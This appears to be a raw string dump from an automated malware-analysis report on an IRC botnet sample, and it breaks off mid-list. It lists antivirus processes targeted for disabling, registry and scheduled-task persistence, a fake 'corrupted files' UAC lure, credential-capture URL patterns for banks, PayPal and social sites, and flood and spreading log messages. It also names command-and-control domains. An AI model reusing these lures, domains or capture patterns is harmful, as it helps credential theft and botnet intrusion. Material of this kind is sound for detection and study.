- Attempt to initialize the CRT more than once.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- CRT not initialized
- floating point support not loaded
- floating point support not loaded
Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.
GetProcessWindowStation
GetProcessWindowStation
USER32.DLL
USER32.DLL
GetKeyNameTextW
GetKeyNameTextW
ExitWindowsEx
ExitWindowsEx
GetAsyncKeyState
GetAsyncKeyState
USER32.dll
USER32.dll
GDI32.dll
GDI32.dll
SHLWAPI.dll
SHLWAPI.dll
GetProcessHeap
GetProcessHeap
GetCPInfo
GetCPInfo
KERNEL32.dll
KERNEL32.dll
zcÁ
zcÁ
RvKS.iu
RvKS.iu
z=~{%U
z=~{%U
't9P^%Um
't9P^%Um
ur$%C
ur$%C
Jn~{%d
Jn~{%d
4 ^%6SH>
4 ^%6SH>
.IrZ<</pre><pre>b43m.kx</pre><pre>.fps~</pre><pre>2(8=.gCW</pre><pre>Á1Lj</pre><pre>.yNH></pre><pre>Software\Classes\CLSID\%S</pre><pre>G:%S_0xX</pre><pre>chrome.exe</pre><pre>opera.exe</pre><pre>safari.exe</pre><pre>maxthon.exe</pre><pre>:Mozilla\Firefox\Profiles</pre><pre>cookies.sqlite</pre><pre>%s\winsxs\x86_microsoft.windows.common-controls_*6.0.*_*</pre><pre>%s\winsxs\%s\comctl32.dll</pre><pre>SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\%s</pre><pre>%s:*:Enabled</pre><pre>avcuf32.dll</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>prstrui.exe</pre><pre>Windows Defender</pre><pre>MpClient.dll</pre><pre>Windows Defender\MSASCui.exe</pre><pre>MpSvc.dll</pre><pre>msseces.exe</pre><pre>MsMpEng.exe</pre><pre>MSASCui.exe</pre><pre>MpAsDesc.dll</pre><pre>MsMpLics.dll</pre><pre>avgui.exe</pre><pre>avgidsagent.exe</pre><pre>avgwdsvc.exe</pre><pre>avgdiagex.exe</pre><pre>avgmfapx.exe</pre><pre>avgupd.exe</pre><pre>avgcfgex.exe</pre><pre>avgnt.exe</pre><pre>avguard.exe</pre><pre>avshadow.exe</pre><pre>avcenter.exe</pre><pre>update.dll</pre><pre>updaterc.dll</pre><pre>usrreq.exe</pre><pre>ccsvchst.exe</pre><pre>symerr.exe</pre><pre>NIS.exe</pre><pre>NAV.exe</pre><pre>navw32.exe</pre><pre>avastui.exe</pre><pre>AvastEmUpdate.exe</pre><pre>ashUpd.exe</pre><pre>WRSA.exe</pre><pre>zatray.exe</pre><pre>ForceField.exe</pre><pre>updating.dll</pre><pre>fshoster32.exe</pre><pre>fsaua.dll</pre><pre>PSUNMain.exe</pre><pre>PSUAService.exe</pre><pre>PSANHost.exe</pre><pre>PSUNScan.dll</pre><pre>epavjobs.exe</pre><pre>AVENGINE.exe</pre><pre>Upgrader.exe</pre><pre>adaware.exe</pre><pre>BullGuard.exe.manifest</pre><pre>BullGuardUpdate.exe</pre><pre>BullGuard.exe</pre><pre>BullGuardScanner.exe</pre><pre>BullGuardBhvScanner.exe</pre><pre>BullGuardUpdate2.exe</pre><pre>BgScan.exe</pre><pre>BgScanEngine.dll</pre><pre>.manifest</pre><pre>updater.exe</pre><pre>Backup\RSD\RSSetup\updater.exe</pre><pre>RsTray.exe</pre><pre>RavMonD.exe</pre><pre>RsMgrSvc.exe</pre><pre>rsmain.exe</pre><pre>RsScan.dll</pre><pre>RsTray.dll</pre><pre>mbamgui.exe</pre><pre>mbam.exe</pre><pre>pctsGui.exe</pre><pre>pctsAuxs.exe</pre><pre>pctsSvc.exe</pre><pre>Update.exe</pre><pre>UpdateHlpr.dll</pre><pre>Definitions\vcore.dll</pre><pre>sbamui.exe</pre><pre>SBAMTray.exe</pre><pre>updater_client_mod.dll</pre><pre>FProtTray.exe</pre><pre>FPWin.exe</pre><pre>scf.dat</pre><pre>ALUpdate.exe</pre><pre>update_tmp.exe</pre><pre>arcaclean.exe</pre><pre>BavUpdater.exe</pre><pre>rcfp.exe</pre><pre>CLPSLA.exe</pre><pre>op_mon.exe</pre><pre>niu.exe</pre><pre>K7TSUpdT.exe</pre><pre>sguardxup.exe</pre><pre>ccupdate.exe</pre><pre>caupdate.dll</pre><pre>a2guard.exe</pre><pre>a2start.exe</pre><pre>a2service.exe</pre><pre>AVKTray.exe</pre><pre>GDSC.exe</pre><pre>AVK.exe</pre><pre>GDFirewallTray.exe</pre><pre>Bka.exe</pre><pre>BLuPro.exe</pre><pre>BkavSystemServer.exe</pre><pre>BkavService.exe</pre><pre>LiveUpdate.dll</pre><pre>LiveConnect.dll</pre><pre>BaseFile\Bkav\LiveUpdate.dll</pre><pre>V3Lite.exe</pre><pre>ASDSvc.exe</pre><pre>autoup.exe</pre><pre>downloader.exe</pre><pre>%s.config</pre><pre>updatesrv.exe</pre><pre>updatemgr.dll</pre><pre>egui.exe</pre><pre>ekrn.exe</pre><pre>x86\ekrn.exe</pre><pre>uWinMgr.exe</pre><pre>coreServiceShell.exe</pre><pre>uiSeAgnt.exe</pre><pre>uiWatchDog.exe</pre><pre>plugins\plugUpdater.dll</pre><pre>UiFrmwrk\uiUpdateTray.exe</pre><pre>coreFrameworkHost.exe</pre><pre>mcagent.exe</pre><pre>McSvHost.exe</pre><pre>McUICnt.exe</pre><pre>McPvTray.exe</pre><pre>mcui_exe</pre><pre>mcpltui_exe</pre><pre>mcshell.exe</pre><pre>mcupdmgr.exe</pre><pre>mcupdate.exe</pre><pre>mcshield.exe</pre><pre>mcupdui.dll</pre><pre>McAPExe.exe</pre><pre>.config</pre><pre>Image File Execution Options\%s</pre><pre>SYSTEM\CurrentControlSet\services\%s</pre><pre>%c:\ntusbdriver.sys</pre><pre>%c:\*p.exe</pre><pre>%c:\%s</pre><pre>p.exe</pre><pre>%WinDir%\explorer.exe</pre><pre>/C start /d. %s&"%s"</pre><pre>%COMSPEC%</pre><pre>%WinDir%\system32\shell32.dll</pre><pre>%c:\%s.lnk</pre><pre>VisthAux.exe</pre><pre>explorer.exe</pre><pre>t.minecraft</pre><pre>Works! PID: %d, Name: %s</pre><pre>cmdvirth</pre><pre>%s%s\X</pre><pre>tcp://</pre><pre>svchost.exe</pre><pre>csrss.exe</pre><pre>lsass.exe</pre><pre>smss.exe</pre><pre>wscript.exe</pre><pre>cscript.exe</pre><pre>vbc.exe</pre><pre>rundll32.exe</pre><pre>regsvr32.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>winlogon.exe</pre><pre>services.exe</pre><pre>%s\x.lnk</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>desktop.ini</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows</pre><pre>wintrust.dll</pre><pre>chrome.dll</pre><pre>Applications\iexplore.exe\shell\open\command</pre><pre>%s_xx</pre><pre>x.zip</pre><pre>Navw32.exe</pre><pre>SysInspector.exe</pre><pre>avscan.exe</pre><pre>mfefire.exe</pre><pre>wuauclt.exe</pre><pre>WerFault.exe</pre><pre>lFileZilla\sitemanager.xml</pre><pre>port</pre><pre>Sites.dat</pre><pre>Quick.dat</pre><pre>%s\3\%s</pre><pre>%s\4\%s</pre><pre>spoolsv.exe</pre><pre>steam.exe</pre><pre>skype.exe</pre><pre>origin.exe</pre><pre>dwm.exe</pre><pre>tapi3.dll</pre><pre>/C copy "%s" "%s"</pre><pre>SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run</pre><pre>Windows Update Service</pre><pre>"%s" /%s</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>/CREATE /SC ONLOGON /TN "Windows Update Check - 0xX" /TR "%s" /RL HIGHEST</pre><pre>schtasks.exe</pre><pre>/DELETE /TN "Windows Update Check - 0xX" /F</pre><pre>\Windows\Explorer.exe</pre><pre>Low_X</pre><pre>%s.manifest</pre><pre>PendingFileRenameOperations</pre><pre>%s\X</pre><pre>Windows\CurrentVersion\Run</pre><pre>CurrentVersion\Windows</pre><pre>Windows NT\CurrentVersion\Image File Execution Options\%s</pre><pre>Windows has encountered a corrupted folder on your hard drive</pre><pre>Multiple corrupted files have been found in the folder 'My Documents'. To prevent serious loss of data, please allow Windows to restore these files.</pre><pre>Corrupted folder: %s</pre><pre>Corrupted file count: %d</pre><pre><a href=".ms">%s</a></pre><pre>/c start "" "%s" /%s "%s"</pre><pre>shell32,ShellExec_RunDLL "%s" /%s "%s"</pre><pre>You denied the proper privileges to the Windows file restoration utility. Please select YES on the following UAC prompt to allow Windows to restore the corrupted files.</pre><pre>Windows 3.1 Update Service</pre><pre>%s:Zone.Identifier</pre><pre>%s\X.pif</pre><pre>KERNEL32.DLL</pre><pre>KERNELBASE.DLL</pre><pre>kernelbase.dll</pre><pre>5.42.37.0</pre><pre>Passage</pre><pre>Passage.exe</pre><b>svchost.exe_1904:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>ADVAPI32.dll</pre><pre>KERNEL32.dll</pre><pre>NTDLL.DLL</pre><pre>RPCRT4.dll</pre><pre>NETAPI32.dll</pre><pre>ole32.dll</pre><pre>ntdll.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyExW</pre><pre>GetProcessHeap</pre><pre>NtOpenKey</pre><pre>svchost.pdb</pre><pre>\PIPE\</pre><pre>Software\Microsoft\Windows NT\CurrentVersion\Svchost</pre><pre>\Registry\Machine\System\CurrentControlSet\Control\SecurePipeServers\</pre><pre>5.1.2600.5512 (xpsp.080413-2111)</pre><pre>svchost.exe</pre><pre>Windows</pre><pre>Operating System</pre><pre>5.1.2600.5512</pre><b>%original file name%.exe_492_rwx_01460000_0004E000:</b><pre>.text</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0G</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>kernel32.dll</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>ntdll.dll</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pre><pre>*facebook.*/login.php*</pre><pre>*login.yahoo.*/*login*</pre><pre>passwd</pre><pre>login</pre><pre>*passwd=*</pre><pre>*login.live.*/*post.srf*</pre><pre>TextfieldPassword</pre><pre>*TextfieldPassword=*</pre><pre>*gmx.*/*FormLogin*</pre><pre>*Passwd=*</pre><pre>FLN-Password</pre><pre>*FLN-Password=*</pre><pre>*pass=*</pre><pre>*bigstring.*/*index.php*</pre><pre>*screenname.aol.*/login.psp*</pre><pre>password</pre><pre>loginId</pre><pre>*password=*</pre><pre>*aol.*/*login.psp*</pre><pre>Passwd</pre><pre>*google.*/*ServiceLoginAuth*</pre><pre>login_password</pre><pre>login_email</pre><pre>*login_password=*</pre><pre>*paypal.*/webscr?cmd=_login-submit*</pre><pre>%s / ?%d HTTP/1.1</pre><pre>Host: %s</pre><pre>User-Agent: %s</pre><pre>Mozilla/4.0</pre><pre>\\.\PHYSICALDRIVE0</pre><pre>shell32.dll</pre><pre>httpi</pre><pre>dnsapi.dll</pre><pre>http://%s/%s</pre><pre>http://%s/</pre><pre>POST /23s</pre><pre>[%s{%s%s{%s</pre><pre>n%s[%s{%s%s{%s</pre><pre>%s[%s{%s</pre><pre>[DNS]: Redirecting "%s" to "%s"</pre><pre>%s|%s</pre><pre>[Logins]: Cleared %d logins</pre><pre>FTP -></pre><pre>[d="%s" s="%d bytes"] Download error: MD5 mismatch (%s != %s)</pre><pre>http://</pre><pre>[Login]: %s</pre><pre>[DNS]: Blocked %d domain(s) - Redirected %d domain(s)</pre><pre>[Speed]: Estimated upload speed %d KB/s</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\\.\%c:</pre><pre>*bebo.*/c/profile/comment_post.json</pre><pre>*bebo.*/mail/MailCompose.jsp*</pre><pre>*friendster.*/sendmessage.php*</pre><pre>*friendster.*/rpc.php</pre><pre>*vkontakte.ru/mail.php</pre><pre>*vkontakte.ru/wall.php</pre><pre>*vkontakte.ru/api.php</pre><pre>*facebook.*/ajax/*MessageComposerEndpoint.php*</pre><pre>msg_text</pre><pre>*facebook.*/ajax/chat/send.php*</pre><pre>-_.!~*'()</pre><pre>%s.%s hijacked!</pre><pre>MSG %d %s %d</pre><pre>MSG %d %1s</pre><pre>SDG %d %d</pre><pre>Content-Length: %d</pre><pre>SDG %d</pre><pre>%s_0xX</pre><pre>RegCreateKeyExW</pre><pre>RegCreateKeyExA</pre><pre>URLDownloadToFileW</pre><pre>URLDownloadToFileA</pre><pre>HttpSendRequestW</pre><pre>HttpSendRequestA</pre><pre>NtEnumerateValueKey</pre><pre>DNSAPI.dll</pre><pre>Secur32.dll</pre><pre>ShellExecuteA</pre><pre>SHELL32.dll</pre><pre>HttpQueryInfoA</pre><pre>InternetOpenUrlA</pre><pre>HttpQueryInfoW</pre><pre>WININET.dll</pre><pre>SHLWAPI.dll</pre><pre>WS2_32.dll</pre><pre>MSVCRT.dll</pre><pre>GetProcessHeap</pre><pre>ConnectNamedPipe</pre><pre>CreateNamedPipeA</pre><pre>DisconnectNamedPipe</pre><pre>GetWindowsDirectoryW</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegNotifyChangeKeyValue</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ole32.dll</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>]1.1.0.0</pre><pre>msn.set</pre><pre>msn.int</pre><pre>http.set</pre><pre>http.int</pre><pre>http.inj</pre><pre>logins</pre><pre>PASS %s</pre><pre>[.ShellClassInfo]</pre><pre>CLSID={645FF040-5081-101B-9F08-00AA002F954E}</pre><pre>SSRR %s 0 0 :%s</pre><pre>KCIK %s</pre><pre>SEND %s %s</pre><pre>PART %s</pre><pre>PPPPMSG %s :%s</pre><pre>QUIT :%s</pre><pre>PPNG %s</pre><pre>PPPPMSG</pre><pre>[v="%s" c="%s" h="%s" p="%S"]</pre><pre>[d="%s" s="%d bytes"] Updated bot file "%S" - Download retries: %d</pre><pre>[d="%s" s="%d bytes"] Executed file "%S" - Download retries: %d</pre><pre>[Slowloris]: Starting flood on "%s" for %d minute(s)</pre><pre>[Slowloris]: Finished flood on "%s"</pre><pre>[UDP]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[UDP]: Finished flood on "%s:%d"</pre><pre>[SYN]: Starting flood on "%s:%d" for %d second(s)</pre><pre>[SYN]: Finished flood on "%s:%d"</pre><pre>[USB]: Infected %s</pre><pre>[MSN]: Updated MSN spread message to "%s"</pre><pre>[MSN]: Updated MSN spread interval to "%s"</pre><pre>[HTTP]: Updated HTTP spread message to "%s"</pre><pre>[HTTP]: Injected value is now %s.</pre><pre>[HTTP]: Updated HTTP spread interval to "%s"</pre><pre>[Visit]: Visited "%s"</pre><pre>[DNS]: Blocked "%s"</pre><pre>[usb="%d" msn="%d" http="%d" total="%d"]</pre><pre>[ftp="%d" pop="%d" http="%d" total="%d"]</pre><pre>[RSOCK4]: Started rsock4 on "%s:%d"</pre><pre>[d="%s" s="%d bytes"] Update error: MD5 mismatch (%s != %s)</pre><pre>[d="%s"] Error downloading file [e="%d"]</pre><pre>[d="%s"] Error writing download to "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] Error creating process "%S" [e="%d"]</pre><pre>[d="%s" s="%d bytes"] File "%S" has an invalid binary type. [type="%d"]</pre><pre>[d="%s"] Error getting temporary filename. [e="%d"]</pre><pre>[d='%s"] Error getting application data path [e="%d"]</pre><pre>[Visit]: Error visitng "%s"</pre><pre>[FTP Login]: %s</pre><pre>[POP3 Login]: %s</pre><pre>[FTP Infect]: %s was iframed</pre><pre>[HTTP Login]: %s</pre><pre>[HTTP Traffic]: %s</pre><pre>[Ruskill]: Detected File: "%s"</pre><pre>[Ruskill]: Detected DNS: "%s"</pre><pre>[Ruskill]: Detected Reg: "%s"</pre><pre>[PDef ]: %s</pre><pre>[DNS]: Blocked DNS "%s"</pre><pre>[MSN]: %s</pre><pre>[HTTP]: %s</pre><pre>ftplog</pre><pre>ftpinfect</pre><pre>httplogin</pre><pre>httptraff</pre><pre>httpspread</pre><pre>http://api.wipmania.com/</pre><pre>\\.\pipe\x_ipc</pre><pre>\\.\pipe\c1419a97</pre><pre>c:\%original file name%.exe</pre><pre>%WinDir%</pre><pre>%Documents and Settings%\%current user%\Application Data\Identities\Uukmkg.exe</pre><pre>7 767<7~7</pre><pre>8*808;8~8</pre><pre>%s\Identities\%s.exe</pre><pre>\\.\pipe</pre><pre>autorun.inf</pre><pre>pidgin.exe</pre><pre>wlcomm.exe</pre><pre>msnmsgr.exe</pre><pre>msmsgs.exe</pre><pre>flock.exe</pre><pre>opera.exe</pre><pre>chrome.exe</pre><pre>ieuser.exe</pre><pre>iexplore.exe</pre><pre>firefox.exe</pre><pre>.ipconfig.exe</pre><pre>verclsid.exe</pre><pre>regedit.exe</pre><pre>rundll32.exe</pre><pre>cmd.exe</pre><pre>regsvr32.exe</pre><pre>l"%s" %S</pre><pre>lol.exe</pre><pre>n127.0.0.1</pre><pre>%s:Zone.Identifier</pre><pre>wininet.dll</pre><pre>secur32.dll</pre><pre>ws2_32.dll</pre><pre>:%S%S\</pre><pre>winlogon.exe</pre><pre>notepad.exe</pre><pre>Aadvapi32.dll</pre><pre>urlmon.dll</pre><pre>nspr4.dll</pre><pre>Akernel23.dll</pre><pre>y%s\%s.exe</pre><pre>lsass.exe</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>\Device\HarddiskVolume1\%original file name%.exe</pre><pre>C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\ngggg.exe</pre><b>svchost.exe_1904_rwx_00090000_00029000:</b><pre>.text</pre><pre>`.data</pre><pre>.rsrc</pre><pre>@.reloc</pre><pre>*windows defender*</pre><pre>*windowsupdate*</pre><pre>*drweb*</pre><pre>dwwin.exe</pre><pre>kernel32.dll</pre><pre>iphlpapi.dll</pre><pre>GetExtendedTcpTable</pre><pre>GetOwnerModuleFromTcpEntry</pre><pre>%systemroot%</pre><pre>%programfiles%\Common Files\*\*.exe</pre><pre>%appdata%\Identities\*.exe</pre><pre>%root%\RECYCLER\S-1-5-21-0243556031-888888379-*\*.exe</pre><pre>ole32.dll</pre><pre>/c "%%SystemRoot%%\explorer.exe %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>/c "start %Í%%%s & attrib -s -h %Í%%%s & xcopy /F /S /Q /H /R /Y %Í%%%s %%temp%%\%s\ & attrib s h %Í%%%s & start %%temp%%\%s\%s & exit"</pre><pre>%ALLUSERSPROFILE%\..\..\windows\system32\cmd.exe</pre><pre>%SystemRoot%\system32\SHELL32.dll</pre><pre>%s\c731200</pre><pre>%s\%s</pre><pre>%s\%s.lnk</pre><pre>Windows_Shared_Mutex_231_c000100</pre><pre>ntdll.dll</pre><pre>\ScreenSaverPro.scr</pre><pre>\temp.bin</pre><pre>user32.dll</pre><pre>advapi32.dll</pre><pre>shell32.dll</pre><pre>urlmon.dll</pre><pre>wininet.dll</pre><pre>gdi32.dll</pre><pre>rpcrt4.dll</pre><pre>netapi32.dll</pre><pre>*.exe</pre><pre>.gonewiththewings</pre><pre>*.gonewiththewings</pre><pre>WinExec</pre><pre>URLDownloadToFileA</pre><pre>http://www.google.com</pre><pre>\calc.exe</pre><pre>\Reader_sl.exe</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Run</pre><pre>notepad.exe</pre><pre>\notepad.exe</pre><pre>\svchost.exe</pre><pre>WindowsId</pre><pre>Identities\%s</pre><pre>%s\%s\%s.exe</pre><pre>:Zone.Identifier</pre><pre>.quarantined</pre><pre>"%s" -shell</pre><pre>"%s" -bind</pre><pre>userinit.exe</pre><pre>explorer.exe</pre><pre>Windows critical error, require reboot</pre><pre>Windows Update</pre><pre>SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System</pre><pre>GetProcessHeap</pre><pre>GetWindowsDirectoryA</pre><pre>KERNEL32.dll</pre><pre>USER32.dll</pre><pre>RegCloseKey</pre><pre>RegOpenKeyA</pre><pre>RegEnumKeyA</pre><pre>RegCreateKeyExA</pre><pre>RegOpenKeyExA</pre><pre>ADVAPI32.dll</pre><pre>ShellExecuteExW</pre><pre>SHELL32.dll</pre><pre>SetTcpEntry</pre><pre>SHLWAPI.dll</pre><pre>RPCRT4.dll</pre><pre>NETAPI32.dll</pre><pre>DNSAPI.dll</pre><pre>Software\Microsoft\Windows NT\CurrentVersion\Winlogon</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run</pre><pre>Software\WindowsId Manager Reader</pre><pre>Software\Microsoft\Windows\CurrentVersion\Policies\Explorer</pre><pre>Software\Microsoft\Windows\CurrentVersion\Run</pre><pre>Software\Microsoft\Windows\CurrentVersion\RunOnce</pre><pre>WindowsMark</pre><pre>m1xg.org</pre><pre>mxxtxxt.biz</pre><pre>meob.me</pre><pre>%System%\notepad.exe</pre><pre>`.rdata</pre><pre>@.data</pre><pre>.reloc</pre><pre>=MSG t</pre><pre>>MSG u`</pre><pre>=PASS</pre><pre>8httpu1</pre><pre>8httpuM</pre><pre>tlSSSSSSSSSShL0A</pre><pre>%s.%s</pre><pre>%s.%S</pre><pre>%s.Blocked "%s" from removing our bot file!</pre><pre>%s.Blocked "%S" from removing our bot file!</pre><pre>i.root-servers.org</pre><pre>%s.Blocked "%s" from moving our bot file</pre><pre>%s.Blocked "%S" from moving our bot file</pre><pre>%s.p10-> Message hijacked!</pre><pre>%s.p10-> Message to %s hijacked!</pre><pre>%s.p21-> Message hijacked!</pre><pre>msnmsg</pre><pre>CAL %d %6s</pre><pre>ngr->blocksize: %d</pre><pre>block_size: %d</pre><pre>\\.\pipe\%s</pre><pre>%s_%d</pre><pre>-%sMutex</pre><pre>%s-pid</pre><pre>%s-comm</pre><pre>JOIN #</pre><pre>PRIVMSG #</pre><pre>%s.Blocked "%S" from creating "%S"</pre><pre>%s.Blocked "%S" from creating "%S" - "%s" will be removed at reboot!</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d.</pre><pre>%s.Detected process "%S" sending an IRC packet to server %s:%d (Target: %s).</pre><pre>PRIVMSG %5s</pre><pre>JOIN %5s</pre><pre>PRIVMSG</pre><pre>JOIN</pre><pre>%s:%d</pre><pre>%s.%s%s</pre><pre>%S%s%s</pre><pre>%s.%S%S</pre><pre>%S%S%S</pre><pre>state_%s</pre><pre>%s.%s (p='%S')</pre><pre>pop3://%s:%s@%s:%d</pre><pre>%s:%s@%s:%d</pre><pre>ftp://%s:%s@%s:%d</pre><pre>ftpgrab</pre><pre>%s.%s ->> %s (%s : %s)</pre><pre>%s.%s ->> %s : %s</pre><pre>%s-%s-%s</pre><pre>%s.Blocked possible browser exploit pack call on URL '%s'</pre><pre>%s.Blocked possible browser exploit pack call on URL '%S'</pre><pre>webroot.</pre><pre>virusbuster.nprotect.</pre><pre>heck.tc</pre><pre>onecare.live.</pre><pre>login[password]</pre><pre>login[username]</pre><pre>*members*.iknowthatgirl*/members*</pre><pre>*youporn.*/login*</pre><pre>*members.brazzers.com*</pre><pre>*bcointernacional*login*</pre><pre>*:2222/CMD_LOGIN*</pre><pre>*whcms*dologin*</pre><pre>*:2086/login*</pre><pre>*:2083/login*</pre><pre>*:2082/login*</pre><pre>*webnames.ru/*user_login*</pre><pre>Webnames</pre><pre>*dotster.com/*login*</pre><pre>loginid</pre><pre>*enom.com/login*</pre><pre>login.Pass</pre><pre>login.User</pre><pre>*login.Pass=*</pre><pre>*1and1.com/xml/config*</pre><pre>*moniker.com/*Login*</pre><pre>LoginPassword</pre><pre>LoginUserName</pre><pre>*LoginPassword=*</pre><pre>*namecheap.com/*login*</pre><pre>loginname</pre><pre>*godaddy.com/login*</pre><pre>Password</pre><pre>*Password=*</pre><pre>*alertpay.com/login*</pre><pre>*netflix.com/*ogin*</pre><pre>*thepiratebay.org/login*</pre><pre>*torrentleech.org/*login*</pre><pre>*vip-file.com/*/signin-do*</pre><pre>*sms4file.com/*/signin-do*</pre><pre>*letitbit.net*</pre><pre>*what.cd/login*</pre><pre>*oron.com/login*</pre><pre>*filesonic.com/*login*</pre><pre>*speedyshare.com/login*</pre><pre>*uploaded.to/*login*</pre><pre>*uploading.com/*login*</pre><pre>loginUserPassword</pre><pre>loginUserName</pre><pre>*loginUserPassword=*</pre><pre>*fileserv.com/login*</pre><pre>*hotfile.com/login*</pre><pre>*4shared.com/login*</pre><pre>txtpass</pre><pre>*txtpass=*</pre><pre>*netload.in/index*</pre><pre>*freakshare.com/login*</pre><pre>login_pass</pre><pre>*login_pass=*</pre><pre>*mediafire.com/*login*</pre><pre>*sendspace.com/login*</pre><pre>*megaupload.*/*login*</pre><pre>*depositfiles.*/*/login*</pre><pre>*signin.ebay*SignIn</pre><pre>*officebanking.cl/*login.asp*</pre><pre>*secure.logmein.*/*logincheck*</pre><pre>session[password]</pre><pre>*password]=*</pre><pre>*twitter.com/sessions</pre><pre>txtPassword</pre><pre>*&txtPassword=*</pre><pre>*.moneybookers.*/*login.pl</pre><pre>*runescape*/*weblogin*</pre><pre>*&password=*</pre><pre>*no-ip*/login*</pre><pre>*steampowered*/login*</pre><pre>quick_password</pre><pre>*hackforums.*/member.php</pr